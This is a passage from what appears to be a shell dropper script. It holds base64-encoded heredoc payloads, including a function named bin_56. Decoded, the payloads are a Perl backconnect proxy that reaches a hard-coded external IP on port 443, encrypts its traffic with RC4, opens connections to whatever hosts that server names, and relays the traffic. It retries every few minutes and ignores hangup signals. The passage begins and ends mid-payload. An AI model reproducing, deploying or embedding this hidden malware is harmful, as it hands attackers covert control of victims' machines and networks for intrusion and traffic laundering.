b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_56() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 